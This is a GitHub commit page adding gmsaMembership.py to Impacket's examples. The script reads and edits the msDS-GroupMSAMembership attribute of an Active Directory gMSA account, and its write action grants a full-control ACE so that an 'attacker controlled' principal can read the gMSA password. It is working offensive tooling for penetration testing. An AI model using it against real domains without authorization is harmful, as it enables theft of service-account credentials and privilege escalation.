Skip to content

Commit d506870

Browse files
committed
Add gmsaMembership.py to examples
1 parent 00ced47 commit d506870

File tree

1 file changed

+336
-0
lines changed

1 file changed

+336
-0
lines changed

examples/gmsaMembership.py

Lines changed: 336 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,336 @@
1+
#!/usr/bin/env python3
2+
# Impacket - Collection of Python classes for working with network protocols.
3+
#
4+
# Copyright Fortra, LLC and its affiliated companies
5+
#
6+
# All rights reserved.
7+
#
8+
# This software is provided under a slightly modified version
9+
# of the Apache Software License. See the accompanying LICENSE file
10+
# for more information.
11+
#
12+
# Description:
13+
# Python script for handling the msDS-GroupMSAMembership property of a target gMSA account.
14+
#
15+
# Author:
16+
# Niket (https://github.com/int3x)
17+
#
18+
# Adopted from code of:
19+
# Remi Gascou (@podalirius_)
20+
# Charlie Bromberg (@_nwodtuhs)
21+
#
22+
23+
24+
import argparse
25+
import logging
26+
import sys
27+
import traceback
28+
import ldap3
29+
import ldapdomaindump
30+
from ldap3.protocol.formatters.formatters import format_sid
31+
32+
from impacket import version
33+
from impacket.examples import logger, utils
34+
from impacket.ldap import ldaptypes
35+
from ldap3.utils.conv import escape_filter_chars
36+
37+
from impacket.examples.utils import init_ldap_session, parse_identity
38+
39+
def create_empty_sd():
40+
sd = ldaptypes.SR_SECURITY_DESCRIPTOR()
41+
sd['Revision'] = b'\x01'
42+
sd['Sbz1'] = b'\x00'
43+
sd['Control'] = 32772
44+
sd['OwnerSid'] = ldaptypes.LDAP_SID()
45+
# BUILTIN\Administrators
46+
sd['OwnerSid'].fromCanonical('S-1-5-32-544')
47+
sd['GroupSid'] = b''
48+
sd['Sacl'] = b''
49+
acl = ldaptypes.ACL()
50+
acl['AclRevision'] = 4
51+
acl['Sbz1'] = 0
52+
acl['Sbz2'] = 0
53+
acl.aces = []
54+
sd['Dacl'] = acl
55+
return sd
56+
57+
58+
# Create an ALLOW ACE with the specified sid
59+
def create_allow_ace(sid):
60+
nace = ldaptypes.ACE()
61+
nace['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE
62+
nace['AceFlags'] = 0x00
63+
acedata = ldaptypes.ACCESS_ALLOWED_ACE()
64+
acedata['Mask'] = ldaptypes.ACCESS_MASK()
65+
acedata['Mask']['Mask'] = 983551 # Full control
66+
acedata['Sid'] = ldaptypes.LDAP_SID()
67+
acedata['Sid'].fromCanonical(sid)
68+
nace['Ace'] = acedata
69+
return nace
70+
71+
72+
class GMSA(object):
73+
"""docstring for class GMSA"""
74+
75+
def __init__(self, ldap_server, ldap_session, gmsa_account):
76+
super(GMSA, self).__init__()
77+
self.ldap_server = ldap_server
78+
self.ldap_session = ldap_session
79+
self.principal = None
80+
self.gmsa_account = gmsa_account
81+
self.SID_principal = None
82+
self.DN_gmsa_account = None
83+
logging.debug('Initializing domainDumper()')
84+
cnf = ldapdomaindump.domainDumpConfig()
85+
cnf.basepath = None
86+
self.domain_dumper = ldapdomaindump.domainDumper(self.ldap_server, self.ldap_session, cnf)
87+
88+
def read(self):
89+
# Get gMSA account DN
90+
result = self.get_user_info(self.gmsa_account)
91+
if not result:
92+
logging.error('Target gMSA account does not exist! (forgot "$" for a computer account? wrong domain?)')
93+
return
94+
self.DN_gmsa_account = result[0]
95+
96+
# Get list of entities allowed to read the gMSA password
97+
self.get_gmsa_membership()
98+
99+
return
100+
101+
def write(self, principal):
102+
self.principal = principal
103+
104+
# Get principal user sid
105+
result = self.get_user_info(self.principal)
106+
if not result:
107+
logging.error('Principal account does not exist! (forgot "$" for a computer account? wrong domain?)')
108+
return
109+
self.SID_principal = str(result[1])
110+
111+
# Get gMSA account DN
112+
result = self.get_user_info(self.gmsa_account)
113+
if not result:
114+
logging.error('Target gMSA account does not exist! (forgot "$" for a computer account? wrong domain?)')
115+
return
116+
self.DN_gmsa_account = result[0]
117+
118+
# Get list of entities allowed to read the gMSA password and build security descriptor including previous data
119+
sd, targetuser = self.get_gmsa_membership()
120+
121+
# writing only if SID not already in list
122+
if self.SID_principal not in [ ace['Ace']['Sid'].formatCanonical() for ace in sd['Dacl'].aces ]:
123+
sd['Dacl'].aces.append(create_allow_ace(self.SID_principal))
124+
self.ldap_session.modify(targetuser['dn'],
125+
{'msDS-GroupMSAMembership': [ldap3.MODIFY_REPLACE,
126+
[sd.getData()]]})
127+
if self.ldap_session.result['result'] == 0:
128+
logging.info('Rights modified successfully!')
129+
logging.info('%s can now read gMSA password for %s', self.principal, self.gmsa_account)
130+
else:
131+
if self.ldap_session.result['result'] == 50:
132+
logging.error('Could not modify object, the server reports insufficient rights: %s',
133+
self.ldap_session.result['message'])
134+
elif self.ldap_session.result['result'] == 19:
135+
logging.error('Could not modify object, the server reports a constrained violation: %s',
136+
self.ldap_session.result['message'])
137+
else:
138+
logging.error('The server returned an error: %s', self.ldap_session.result['message'])
139+
else:
140+
logging.info('%s can already read the gMSA password for %s', self.principal, self.gmsa_account)
141+
logging.info('Not modifying the rights.')
142+
# Get list of entities allowed to read the gMSA password
143+
self.get_gmsa_membership()
144+
return
145+
146+
def remove(self, principal):
147+
self.principal = principal
148+
149+
# Get principal user sid
150+
result = self.get_user_info(self.principal)
151+
if not result:
152+
logging.error('Principal account does not exist! (forgot "$" for a computer account? wrong domain?)')
153+
return
154+
self.SID_principal = str(result[1])
155+
156+
# Get gMSA account DN
157+
result = self.get_user_info(self.gmsa_account)
158+
if not result:
159+
logging.error('Target gMSA account does not exist! (forgot "$" for a computer account? wrong domain?)')
160+
return
161+
self.DN_gmsa_account = result[0]
162+
163+
# Get list of entities allowed to read the gMSA password and build security descriptor including that data
164+
sd, targetuser = self.get_gmsa_membership()
165+
166+
# Remove the entries where SID match the given -principal
167+
sd['Dacl'].aces = [ace for ace in sd['Dacl'].aces if self.SID_principal != ace['Ace']['Sid'].formatCanonical()]
168+
self.ldap_session.modify(targetuser['dn'],
169+
{'msDS-GroupMSAMembership': [ldap3.MODIFY_REPLACE, [sd.getData()]]})
170+
171+
if self.ldap_session.result['result'] == 0:
172+
logging.info('Rights modified successfully!')
173+
else:
174+
if self.ldap_session.result['result'] == 50:
175+
logging.error('Could not modify object, the server reports insufficient rights: %s',
176+
self.ldap_session.result['message'])
177+
elif self.ldap_session.result['result'] == 19:
178+
logging.error('Could not modify object, the server reports a constrained violation: %s',
179+
self.ldap_session.result['message'])
180+
else:
181+
logging.error('The server returned an error: %s', self.ldap_session.result['message'])
182+
# Get list of entities allowed to read the gMSA password
183+
self.get_gmsa_membership()
184+
return
185+
186+
def flush(self):
187+
# Get gMSA account DN
188+
result = self.get_user_info(self.gmsa_account)
189+
if not result:
190+
logging.error('Target gMSA account does not exist! (forgot "$" for a computer account? wrong domain?)')
191+
return
192+
self.DN_gmsa_account = result[0]
193+
194+
# Get list of entities allowed to read the gMSA password
195+
sd, targetuser = self.get_gmsa_membership()
196+
197+
self.ldap_session.modify(targetuser['dn'], {'msDS-GroupMSAMembership': [ldap3.MODIFY_REPLACE, []]})
198+
if self.ldap_session.result['result'] == 0:
199+
logging.info('Rights flushed successfully!')
200+
else:
201+
if self.ldap_session.result['result'] == 50:
202+
logging.error('Could not modify object, the server reports insufficient rights: %s',
203+
self.ldap_session.result['message'])
204+
elif self.ldap_session.result['result'] == 19:
205+
logging.error('Could not modify object, the server reports a constrained violation: %s',
206+
self.ldap_session.result['message'])
207+
else:
208+
logging.error('The server returned an error: %s', self.ldap_session.result['message'])
209+
# Get list of entities allowed to read the gMSA password
210+
self.get_gmsa_membership()
211+
return
212+
213+
def get_gmsa_membership(self):
214+
# Get target's msDS-GroupMSAMembership attribute
215+
self.ldap_session.search(self.DN_gmsa_account, '(objectClass=*)', search_scope=ldap3.BASE,
216+
attributes=['SAMAccountName', 'objectSid', 'msDS-GroupMSAMembership'])
217+
targetuser = None
218+
for entry in self.ldap_session.response:
219+
if entry['type'] != 'searchResEntry':
220+
continue
221+
targetuser = entry
222+
if not targetuser:
223+
logging.error('Could not query target account properties')
224+
return
225+
226+
try:
227+
sd = ldaptypes.SR_SECURITY_DESCRIPTOR(
228+
data=targetuser['raw_attributes']['msDS-GroupMSAMembership'][0])
229+
if len(sd['Dacl'].aces) > 0:
230+
logging.info('Accounts allowed to read gMSA password:')
231+
for ace in sd['Dacl'].aces:
232+
SID = ace['Ace']['Sid'].formatCanonical()
233+
SidInfos = self.get_sid_info(ace['Ace']['Sid'].formatCanonical())
234+
if SidInfos:
235+
SamAccountName = SidInfos[1]
236+
logging.info(' %-10s (%s)' % (SamAccountName, SID))
237+
else:
238+
logging.info('Attribute msDS-GroupMSAMembership is empty')
239+
except IndexError:
240+
logging.info('Attribute msDS-GroupMSAMembership is empty')
241+
# Create DACL manually
242+
sd = create_empty_sd()
243+
return sd, targetuser
244+
245+
def get_user_info(self, samname):
246+
self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(samname), attributes=['objectSid'])
247+
try:
248+
dn = self.ldap_session.entries[0].entry_dn
249+
sid = format_sid(self.ldap_session.entries[0]['objectSid'].raw_values[0])
250+
return dn, sid
251+
except IndexError:
252+
logging.error('User not found in LDAP: %s' % samname)
253+
return False
254+
255+
def get_sid_info(self, sid):
256+
self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % escape_filter_chars(sid), attributes=['samaccountname'])
257+
try:
258+
dn = self.ldap_session.entries[0].entry_dn
259+
samname = self.ldap_session.entries[0]['samaccountname']
260+
return dn, samname
261+
except IndexError:
262+
logging.error('SID not found in LDAP: %s' % sid)
263+
return False
264+
265+
266+
def parse_args():
267+
parser = argparse.ArgumentParser(add_help=True,
268+
description='Python (re)setter for property msDS-GroupMSAMembership')
269+
parser.add_argument('identity', action='store', help='domain.local/username[:password]')
270+
parser.add_argument("-gmsa-account", type=str, required=True,
271+
help="Target gMSA account whose msDS-GroupMSAMembership is to be read/edited/etc.")
272+
parser.add_argument("-principal", type=str, required=False,
273+
help="Attacker controlled account to write on the gMSAmembership property of target gMSA account (only when using `-action write`)")
274+
parser.add_argument('-action', choices=['read', 'write', 'remove', 'flush'], nargs='?', default='read',
275+
help='Action to operate on msDS-GroupMSAMembership')
276+
277+
parser.add_argument('-use-ldaps', action='store_true', help='Use LDAPS instead of LDAP')
278+
279+
parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')
280+
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
281+
282+
group = parser.add_argument_group('authentication')
283+
group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
284+
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
285+
group.add_argument('-k', action="store_true",
286+
help='Use Kerberos authentication. Grabs credentials from ccache file '
287+
'(KRB5CCNAME) based on target parameters. If valid credentials '
288+
'cannot be found, it will use the ones specified in the command '
289+
'line')
290+
group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication '
291+
'(128 or 256 bits)')
292+
293+
group = parser.add_argument_group('connection')
294+
295+
group.add_argument('-dc-ip', action='store', metavar="ip address",
296+
help='IP Address of the domain controller or KDC (Key Distribution Center) for Kerberos. If '
297+
'omitted it will use the domain part (FQDN) specified in '
298+
'the identity parameter')
299+
300+
if len(sys.argv) == 1:
301+
parser.print_help()
302+
sys.exit(1)
303+
304+
return parser.parse_args()
305+
306+
307+
def main():
308+
print(version.BANNER)
309+
args = parse_args()
310+
logger.init(args.ts, args.debug)
311+
312+
if args.action == 'write' and args.principal is None:
313+
logging.critical('`-principal` should be specified when using `-action write` !')
314+
sys.exit(1)
315+
316+
domain, username, password, lmhash, nthash, args.k = parse_identity(args.identity, args.hashes, args.no_pass, args.aesKey, args.k)
317+
318+
try:
319+
ldap_server, ldap_session = init_ldap_session(domain, username, password, lmhash, nthash, args.k, args.dc_ip, args.aesKey, args.use_ldaps)
320+
gmsa = GMSA(ldap_server, ldap_session, args.gmsa_account)
321+
if args.action == 'read':
322+
gmsa.read()
323+
elif args.action == 'write':
324+
gmsa.write(args.principal)
325+
elif args.action == 'remove':
326+
gmsa.remove(args.principal)
327+
elif args.action == 'flush':
328+
gmsa.flush()
329+
except Exception as e:
330+
if logging.getLogger().level == logging.DEBUG:
331+
traceback.print_exc()
332+
logging.error(str(e))
333+
334+
335+
if __name__ == '__main__':
336+
main()

0 commit comments

Comments
 (0)